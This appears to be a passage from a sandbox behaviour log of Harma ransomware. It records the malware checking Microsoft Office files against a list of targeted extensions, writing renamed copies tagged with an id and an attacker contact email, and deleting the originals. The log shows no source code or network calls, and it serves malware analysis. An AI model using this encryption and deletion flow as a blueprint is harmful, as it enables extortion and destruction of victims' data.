lpBuffer=0x3e30020*, nNumberOfBytesToWrite=0xe8, lpNumberOfBytesWritten=0x33bfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3e30020*, lpNumberOfBytesWritten=0x33bfc9c*=0xe8, lpOverlapped=0x0) returned 1 [0148.659] SetEndOfFile (hFile=0x370) returned 1 [0148.847] CloseHandle (hObject=0x370) returned 1 [0148.847] SetFilePointerEx (in: hFile=0x348, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33bfec8 | out: lpNewFilePointer=0x0) returned 1 [0148.847] SetEndOfFile (hFile=0x348) returned 1 [0148.849] CloseHandle (hObject=0x348) returned 1 [0148.849] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Urban.eftx.id-9C354B42.[gillian.cher@aol.com].harma", dwFileAttributes=0x20) returned 1 [0148.850] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Urban.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\urban.eftx")) returned 1 [0148.850] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Urban.eftx") returned 77 [0148.850] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Urban.eftx") returned 77 [0148.850] lstrlenW (lpString=".doc") returned 4 [0148.850] lstrcmpiW (lpString1=".doc", lpString2="eftx") returned -1 [0148.851] lstrlenW (lpString=".docx") returned 5 [0148.851] lstrcmpiW (lpString1=".docx", lpString2=".eftx") returned -1 [0148.851] lstrlenW (lpString=".pdf") returned 4 [0148.851] lstrcmpiW (lpString1=".pdf", lpString2="eftx") returned -1 [0148.851] lstrlenW (lpString=".xls") returned 4 [0148.851] lstrcmpiW (lpString1=".xls", lpString2="eftx") returned -1 [0148.851] lstrlenW (lpString=".xlsx") returned 5 [0148.851] lstrcmpiW (lpString1=".xlsx", lpString2=".eftx") returned 1 [0148.851] lstrlenW (lpString=".ppt") returned 4 [0148.851] lstrcmpiW (lpString1=".ppt", lpString2="eftx") returned -1 [0148.851] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Urban.eftx") returned 77 [0148.851] lstrlenW (lpString=".zip") returned 4 [0148.851] lstrcmpiW (lpString1=".zip", lpString2="eftx") returned -1 [0148.851] lstrlenW (lpString=".rar") returned 4 [0148.851] lstrcmpiW (lpString1=".rar", lpString2="eftx") returned -1 [0148.851] lstrlenW (lpString=".bz2") returned 4 [0148.851] lstrcmpiW (lpString1=".bz2", lpString2="eftx") returned -1 [0148.851] lstrlenW (lpString=".7z") returned 3 [0148.851] lstrcmpiW (lpString1=".7z", lpString2="ftx") returned -1 [0148.851] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Urban.eftx") returned 77 [0148.851] lstrlenW (lpString=".dbf") returned 4 [0148.851] lstrcmpiW (lpString1=".dbf", lpString2="eftx") returned -1 [0148.851] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Urban.eftx") returned 77 [0148.851] lstrlenW (lpString=".1cd") returned 4 [0148.851] lstrcmpiW (lpString1=".1cd", lpString2="eftx") returned -1 [0148.851] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Urban.eftx") returned 77 [0148.851] lstrlenW (lpString=".jpg") returned 4 [0148.851] lstrcmpiW (lpString1=".jpg", lpString2="eftx") returned -1 [0148.851] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Urban.eftx") returned 77 [0148.851] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Urban.eftx") returned 77 [0148.852] lstrlenW (lpString=".doc") returned 4 [0148.852] lstrcmpiW (lpString1=".doc", lpString2="eftx") returned -1 [0148.852] lstrlenW (lpString=".docx") returned 5 [0148.852] lstrcmpiW (lpString1=".docx", lpString2=".eftx") returned -1 [0148.852] lstrlenW (lpString=".pdf") returned 4 [0148.852] lstrcmpiW (lpString1=".pdf", lpString2="eftx") returned -1 [0148.852] lstrlenW (lpString=".xls") returned 4 [0148.852] lstrcmpiW (lpString1=".xls", lpString2="eftx") returned -1 [0148.852] lstrlenW (lpString=".xlsx") returned 5 [0148.852] lstrcmpiW (lpString1=".xlsx", lpString2=".eftx") returned 1 [0148.852] lstrlenW (lpString=".ppt") returned 4 [0148.852] lstrcmpiW (lpString1=".ppt", lpString2="eftx") returned -1 [0148.852] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Urban.eftx") returned 77 [0148.852] lstrlenW (lpString=".zip") returned 4 [0148.852] lstrcmpiW (lpString1=".zip", lpString2="eftx") returned -1 [0148.852] lstrlenW (lpString=".rar") returned 4 [0148.852] lstrcmpiW (lpString1=".rar", lpString2="eftx") returned -1 [0148.852] lstrlenW (lpString=".bz2") returned 4 [0148.852] lstrcmpiW (lpString1=".bz2", lpString2="eftx") returned -1 [0148.852] lstrlenW (lpString=".7z") returned 3 [0148.852] lstrcmpiW (lpString1=".7z", lpString2="ftx") returned -1 [0148.852] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Urban.eftx") returned 77 [0148.852] lstrlenW (lpString=".dbf") returned 4 [0148.852] lstrcmpiW (lpString1=".dbf", lpString2="eftx") returned -1 [0148.852] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Urban.eftx") returned 77 [0148.852] lstrlenW (lpString=".1cd") returned 4 [0148.852] lstrcmpiW (lpString1=".1cd", lpString2="eftx") returned -1 [0148.852] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Urban.eftx") returned 77 [0148.852] lstrlenW (lpString=".jpg") returned 4 [0148.852] lstrcmpiW (lpString1=".jpg", lpString2="eftx") returned -1 [0148.853] lstrcmpiW (lpString1=".DLL", lpString2=".harma") returned -1 [0148.853] lstrlenW (lpString="CAGCAT10.DLL") returned 12 [0148.853] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\CAGCAT10.DLL" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\cagcat10.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x348 [0148.853] GetFileSizeEx (in: hFile=0x348, lpFileSize=0x33bff1c | out: lpFileSize=0x33bff1c*=15776) returned 1 [0148.853] CloseHandle (hObject=0x348) returned 1 [0148.856] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\CAGCAT10.DLL" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\cagcat10.dll")) returned 0x20 [0148.856] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\CAGCAT10.DLL.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\cagcat10.dll.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0148.856] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\CAGCAT10.DLL" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\cagcat10.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0148.856] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\CAGCAT10.DLL") returned 61 [0148.856] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\CAGCAT10.DLL") returned 61 [0148.856] lstrlenW (lpString=".doc") returned 4 [0148.856] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0148.856] lstrlenW (lpString=".docx") returned 5 [0148.857] lstrcmpiW (lpString1=".docx", lpString2="0.DLL") returned -1 [0148.857] lstrlenW (lpString=".pdf") returned 4 [0148.857] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0148.857] lstrlenW (lpString=".xls") returned 4 [0148.857] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0148.857] lstrlenW (lpString=".xlsx") returned 5 [0148.857] lstrcmpiW (lpString1=".xlsx", lpString2="0.DLL") returned -1 [0148.857] lstrlenW (lpString=".ppt") returned 4 [0148.857] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0148.857] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\CAGCAT10.DLL") returned 61 [0148.857] lstrlenW (lpString=".zip") returned 4 [0148.857] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0148.857] lstrlenW (lpString=".rar") returned 4 [0148.857] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0148.857] lstrlenW (lpString=".bz2") returned 4 [0148.857] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0148.857] lstrlenW (lpString=".7z") returned 3 [0148.857] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0148.857] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\CAGCAT10.DLL") returned 61 [0148.857] lstrlenW (lpString=".dbf") returned 4 [0148.857] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0148.857] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\CAGCAT10.DLL") returned 61 [0148.857] lstrlenW (lpString=".1cd") returned 4 [0148.857] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0148.857] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\CAGCAT10.DLL") returned 61 [0148.857] lstrlenW (lpString=".jpg") returned 4 [0148.857] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0148.857] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\CAGCAT10.DLL") returned 61 [0148.857] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\CAGCAT10.DLL") returned 61 [0148.857] lstrlenW (lpString=".doc") returned 4 [0148.857] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0148.858] lstrlenW (lpString=".docx") returned 5 [0148.858] lstrcmpiW (lpString1=".docx", lpString2="0.DLL") returned -1 [0148.858] lstrlenW (lpString=".pdf") returned 4 [0148.858] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0148.858] lstrlenW (lpString=".xls") returned 4 [0148.858] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0148.858] lstrlenW (lpString=".xlsx") returned 5 [0148.858] lstrcmpiW (lpString1=".xlsx", lpString2="0.DLL") returned -1 [0148.858] lstrlenW (lpString=".ppt") returned 4 [0148.858] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0148.858] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\CAGCAT10.DLL") returned 61 [0148.858] lstrlenW (lpString=".zip") returned 4 [0148.858] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0148.858] lstrlenW (lpString=".rar") returned 4 [0148.858] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0148.858] lstrlenW (lpString=".bz2") returned 4 [0148.858] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0148.858] lstrlenW (lpString=".7z") returned 3 [0148.858] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0148.858] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\CAGCAT10.DLL") returned 61 [0148.858] lstrlenW (lpString=".dbf") returned 4 [0148.858] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0148.858] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\CAGCAT10.DLL") returned 61 [0148.858] lstrlenW (lpString=".1cd") returned 4 [0148.858] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0148.858] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\CAGCAT10.DLL") returned 61 [0148.858] lstrlenW (lpString=".jpg") returned 4 [0148.858] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0148.859] lstrcmpiW (lpString1=".MMW", lpString2=".harma") returned 1 [0148.859] lstrlenW (lpString="CAGCAT10.MMW") returned 12 [0148.859] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\CAGCAT10.MMW" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\cagcat10.mmw"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x348 [0148.859] GetFileSizeEx (in: hFile=0x348, lpFileSize=0x33bff1c | out: lpFileSize=0x33bff1c*=394200) returned 1 [0148.859] CloseHandle (hObject=0x348) returned 1 [0148.859] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\CAGCAT10.MMW" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\cagcat10.mmw")) returned 0x20 [0148.859] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\CAGCAT10.MMW.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\cagcat10.mmw.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0148.859] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\CAGCAT10.MMW" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\cagcat10.mmw"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x348 [0148.860] SetFilePointerEx (in: hFile=0x348, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33bfec8 | out: lpNewFilePointer=0x0) returned 1 [0148.860] SetFilePointerEx (in: hFile=0x348, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33bfec8 | out: lpNewFilePointer=0x0) returned 1 [0148.860] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\CAGCAT10.MMW.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\cagcat10.mmw.id-9c354b42.[gillian.cher@aol.com].harma"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x208 [0149.669] GetLastError () returned 0x0 [0149.669] ReadFile (in: hFile=0x348, lpBuffer=0x3e30020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33bfed4, lpOverlapped=0x0 | out: lpBuffer=0x3e30020*, lpNumberOfBytesRead=0x33bfed4*=0x603d8, lpOverlapped=0x0) returned 1 [0149.684] WriteFile (in: hFile=0x208, lpBuffer=0x3e30020*, nNumberOfBytesToWrite=0x603e0, lpNumberOfBytesWritten=0x33bfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3e30020*, lpNumberOfBytesWritten=0x33bfc9c*=0x603e0, lpOverlapped=0x0) returned 1 [0149.691] ReadFile (in: hFile=0x348, lpBuffer=0x3e30020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33bfed4, lpOverlapped=0x0 | out: lpBuffer=0x3e30020*, lpNumberOfBytesRead=0x33bfed4*=0x0, lpOverlapped=0x0) returned 1 [0149.691] WriteFile (in: hFile=0x208, lpBuffer=0x3e30020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x33bfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3e30020*, lpNumberOfBytesWritten=0x33bfc9c*=0xec, lpOverlapped=0x0) returned 1 [0149.692] SetEndOfFile (hFile=0x208) returned 1 [0149.692] CloseHandle (hObject=0x208) returned 1 [0149.692] SetFilePointerEx (in: hFile=0x348, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33bfec8 | out: lpNewFilePointer=0x0) returned 1 [0149.692] SetEndOfFile (hFile=0x348) returned 1 [0149.704] CloseHandle (hObject=0x348) returned 1 [0149.704] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\CAGCAT10.MMW.id-9C354B42.[gillian.cher@aol.com].harma", dwFileAttributes=0x20) returned 1 [0149.704] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\CAGCAT10.MMW" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\cagcat10.mmw")) returned 1 [0149.705] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\CAGCAT10.MMW") returned 61 [0149.705] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\CAGCAT10.MMW") returned 61 [0149.705] lstrlenW (lpString=".doc") returned 4 [0149.705] lstrcmpiW (lpString1=".doc", lpString2=".MMW") returned -1 [0149.705] lstrlenW (lpString=".docx") returned 5 [0149.705] lstrcmpiW (lpString1=".docx", lpString2="0.MMW") returned -1 [0149.705] lstrlenW (lpString=".pdf") returned 4 [0149.705] lstrcmpiW (lpString1=".pdf", lpString2=".MMW") returned 1 [0149.705] lstrlenW (lpString=".xls") returned 4 [0149.705] lstrcmpiW (lpString1=".xls", lpString2=".MMW") returned 1 [0149.705] lstrlenW (lpString=".xlsx") returned 5 [0149.705] lstrcmpiW (lpString1=".xlsx", lpString2="0.MMW") returned -1 [0149.705] lstrlenW (lpString=".ppt") returned 4 [0149.705] lstrcmpiW (lpString1=".ppt", lpString2=".MMW") returned 1 [0149.705] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\CAGCAT10.MMW") returned 61 [0149.705] lstrlenW (lpString=".zip") returned 4 [0149.705] lstrcmpiW (lpString1=".zip", lpString2=".MMW") returned 1 [0149.705] lstrlenW (lpString=".rar") returned 4 [0149.705] lstrcmpiW (lpString1=".rar", lpString2=".MMW") returned 1 [0149.705] lstrlenW (lpString=".bz2") returned 4 [0149.705] lstrcmpiW (lpString1=".bz2", lpString2=".MMW") returned -1 [0149.705] lstrlenW (lpString=".7z") returned 3 [0149.705] lstrcmpiW (lpString1=".7z", lpString2="MMW") returned -1 [0149.705] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\CAGCAT10.MMW") returned 61 [0149.705] lstrlenW (lpString=".dbf") returned 4 [0149.705] lstrcmpiW (lpString1=".dbf", lpString2=".MMW") returned -1 [0149.705] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\CAGCAT10.MMW") returned 61 [0149.705] lstrlenW (lpString=".1cd") returned 4 [0149.705] lstrcmpiW (lpString1=".1cd", lpString2=".MMW") returned -1 [0149.705] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\CAGCAT10.MMW") returned 61 [0149.706] lstrlenW (lpString=".jpg") returned 4 [0149.706] lstrcmpiW (lpString1=".jpg", lpString2=".MMW") returned -1 [0149.706] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\CAGCAT10.MMW") returned 61 [0149.706] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\CAGCAT10.MMW") returned 61 [0149.706] lstrlenW (lpString=".doc") returned 4 [0149.706] lstrcmpiW (lpString1=".doc", lpString2=".MMW") returned -1 [0149.706] lstrlenW (lpString=".docx") returned 5 [0149.706] lstrcmpiW (lpString1=".docx", lpString2="0.MMW") returned -1 [0149.706] lstrlenW (lpString=".pdf") returned 4 [0149.706] lstrcmpiW (lpString1=".pdf", lpString2=".MMW") returned 1 [0149.706] lstrlenW (lpString=".xls") returned 4 [0149.706] lstrcmpiW (lpString1=".xls", lpString2=".MMW") returned 1 [0149.706] lstrlenW (lpString=".xlsx") returned 5 [0149.706] lstrcmpiW (lpString1=".xlsx", lpString2="0.MMW") returned -1 [0149.706] lstrlenW (lpString=".ppt") returned 4 [0149.706] lstrcmpiW (lpString1=".ppt", lpString2=".MMW") returned 1 [0149.706] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\CAGCAT10.MMW") returned 61 [0149.706] lstrlenW (lpString=".zip") returned 4 [0149.706] lstrcmpiW (lpString1=".zip", lpString2=".MMW") returned 1 [0149.706] lstrlenW (lpString=".rar") returned 4 [0149.706] lstrcmpiW (lpString1=".rar", lpString2=".MMW") returned 1 [0149.706] lstrlenW (lpString=".bz2") returned 4 [0149.706] lstrcmpiW (lpString1=".bz2", lpString2=".MMW") returned -1 [0149.706] lstrlenW (lpString=".7z") returned 3 [0149.706] lstrcmpiW (lpString1=".7z", lpString2="MMW") returned -1 [0149.707] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\CAGCAT10.MMW") returned 61 [0149.707] lstrlenW (lpString=".dbf") returned 4 [0149.707] lstrcmpiW (lpString1=".dbf", lpString2=".MMW") returned -1 [0149.707] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\CAGCAT10.MMW") returned 61 [0149.707] lstrlenW (lpString=".1cd") returned 4 [0149.707] lstrcmpiW (lpString1=".1cd", lpString2=".MMW") returned -1 [0149.707] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\CAGCAT10.MMW") returned 61 [0149.707] lstrlenW (lpString=".jpg") returned 4 [0149.707] lstrcmpiW (lpString1=".jpg", lpString2=".MMW") returned -1 [0149.707] lstrcmpiW (lpString1=".HLP", lpString2=".harma") returned 1 [0149.707] lstrlenW (lpString="ACTIP10.HLP") returned 11 [0149.707] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ACTIP10.HLP" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\actip10.hlp"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x34c [0149.982] GetFileSizeEx (in: hFile=0x34c, lpFileSize=0x33bff1c | out: lpFileSize=0x33bff1c*=343520) returned 1 [0149.982] CloseHandle (hObject=0x34c) returned 1 [0149.982] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ACTIP10.HLP" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\actip10.hlp")) returned 0x20 [0150.005] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ACTIP10.HLP.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\actip10.hlp.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0150.032] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ACTIP10.HLP" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\actip10.hlp"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0150.277] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ACTIP10.HLP") returned 59 [0150.277] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ACTIP10.HLP") returned 59 [0150.277] lstrlenW (lpString=".doc") returned 4 [0150.277] lstrcmpiW (lpString1=".doc", lpString2=".HLP") returned -1 [0150.277] lstrlenW (lpString=".docx") returned 5 [0150.277] lstrcmpiW (lpString1=".docx", lpString2="0.HLP") returned -1 [0150.277] lstrlenW (lpString=".pdf") returned 4 [0150.277] lstrcmpiW (lpString1=".pdf", lpString2=".HLP") returned 1 [0150.277] lstrlenW (lpString=".xls") returned 4 [0150.277] lstrcmpiW (lpString1=".xls", lpString2=".HLP") returned 1 [0150.277] lstrlenW (lpString=".xlsx") returned 5 [0150.277] lstrcmpiW (lpString1=".xlsx", lpString2="0.HLP") returned -1 [0150.277] lstrlenW (lpString=".ppt") returned 4 [0150.278] lstrcmpiW (lpString1=".ppt", lpString2=".HLP") returned 1 [0150.278] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ACTIP10.HLP") returned 59 [0150.278] lstrlenW (lpString=".zip") returned 4 [0150.278] lstrcmpiW (lpString1=".zip", lpString2=".HLP") returned 1 [0150.278] lstrlenW (lpString=".rar") returned 4 [0150.278] lstrcmpiW (lpString1=".rar", lpString2=".HLP") returned 1 [0150.278] lstrlenW (lpString=".bz2") returned 4 [0150.278] lstrcmpiW (lpString1=".bz2", lpString2=".HLP") returned -1 [0150.278] lstrlenW (lpString=".7z") returned 3 [0150.278] lstrcmpiW (lpString1=".7z", lpString2="HLP") returned -1 [0150.278] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ACTIP10.HLP") returned 59 [0150.278] lstrlenW (lpString=".dbf") returned 4 [0150.278] lstrcmpiW (lpString1=".dbf", lpString2=".HLP") returned -1 [0150.278] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ACTIP10.HLP") returned 59 [0150.278] lstrlenW (lpString=".1cd") returned 4 [0150.278] lstrcmpiW (lpString1=".1cd", lpString2=".HLP") returned -1 [0150.278] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ACTIP10.HLP") returned 59 [0150.278] lstrlenW (lpString=".jpg") returned 4 [0150.278] lstrcmpiW (lpString1=".jpg", lpString2=".HLP") returned 1 [0150.278] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ACTIP10.HLP") returned 59 [0150.278] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ACTIP10.HLP") returned 59 [0150.278] lstrlenW (lpString=".doc") returned 4 [0150.278] lstrcmpiW (lpString1=".doc", lpString2=".HLP") returned -1 [0150.278] lstrlenW (lpString=".docx") returned 5 [0150.278] lstrcmpiW (lpString1=".docx", lpString2="0.HLP") returned -1 [0150.278] lstrlenW (lpString=".pdf") returned 4 [0150.278] lstrcmpiW (lpString1=".pdf", lpString2=".HLP") returned 1 [0150.278] lstrlenW (lpString=".xls") returned 4 [0150.278] lstrcmpiW (lpString1=".xls", lpString2=".HLP") returned 1 [0150.278] lstrlenW (lpString=".xlsx") returned 5 [0150.278] lstrcmpiW (lpString1=".xlsx", lpString2="0.HLP") returned -1 [0150.279] lstrlenW (lpString=".ppt") returned 4 [0150.279] lstrcmpiW (lpString1=".ppt", lpString2=".HLP") returned 1 [0150.279] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ACTIP10.HLP") returned 59 [0150.279] lstrlenW (lpString=".zip") returned 4 [0150.279] lstrcmpiW (lpString1=".zip", lpString2=".HLP") returned 1 [0150.279] lstrlenW (lpString=".rar") returned 4 [0150.279] lstrcmpiW (lpString1=".rar", lpString2=".HLP") returned 1 [0150.279] lstrlenW (lpString=".bz2") returned 4 [0150.279] lstrcmpiW (lpString1=".bz2", lpString2=".HLP") returned -1 [0150.279] lstrlenW (lpString=".7z") returned 3 [0150.279] lstrcmpiW (lpString1=".7z", lpString2="HLP") returned -1 [0150.279] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ACTIP10.HLP") returned 59 [0150.279] lstrlenW (lpString=".dbf") returned 4 [0150.279] lstrcmpiW (lpString1=".dbf", lpString2=".HLP") returned -1 [0150.279] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ACTIP10.HLP") returned 59 [0150.279] lstrlenW (lpString=".1cd") returned 4 [0150.279] lstrcmpiW (lpString1=".1cd", lpString2=".HLP") returned -1 [0150.279] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ACTIP10.HLP") returned 59 [0150.279] lstrlenW (lpString=".jpg") returned 4 [0150.279] lstrcmpiW (lpString1=".jpg", lpString2=".HLP") returned 1 [0150.279] lstrcmpiW (lpString1=".VRD", lpString2=".harma") returned 1 [0150.279] lstrlenW (lpString="CALEVENT.VRD") returned 12 [0150.279] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\CALEVENT.VRD" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\calevent.vrd"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x33c [0150.366] GetFileSizeEx (in: hFile=0x33c, lpFileSize=0x33bff1c | out: lpFileSize=0x33bff1c*=2144) returned 1 [0150.366] CloseHandle (hObject=0x33c) returned 1 [0150.366] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft 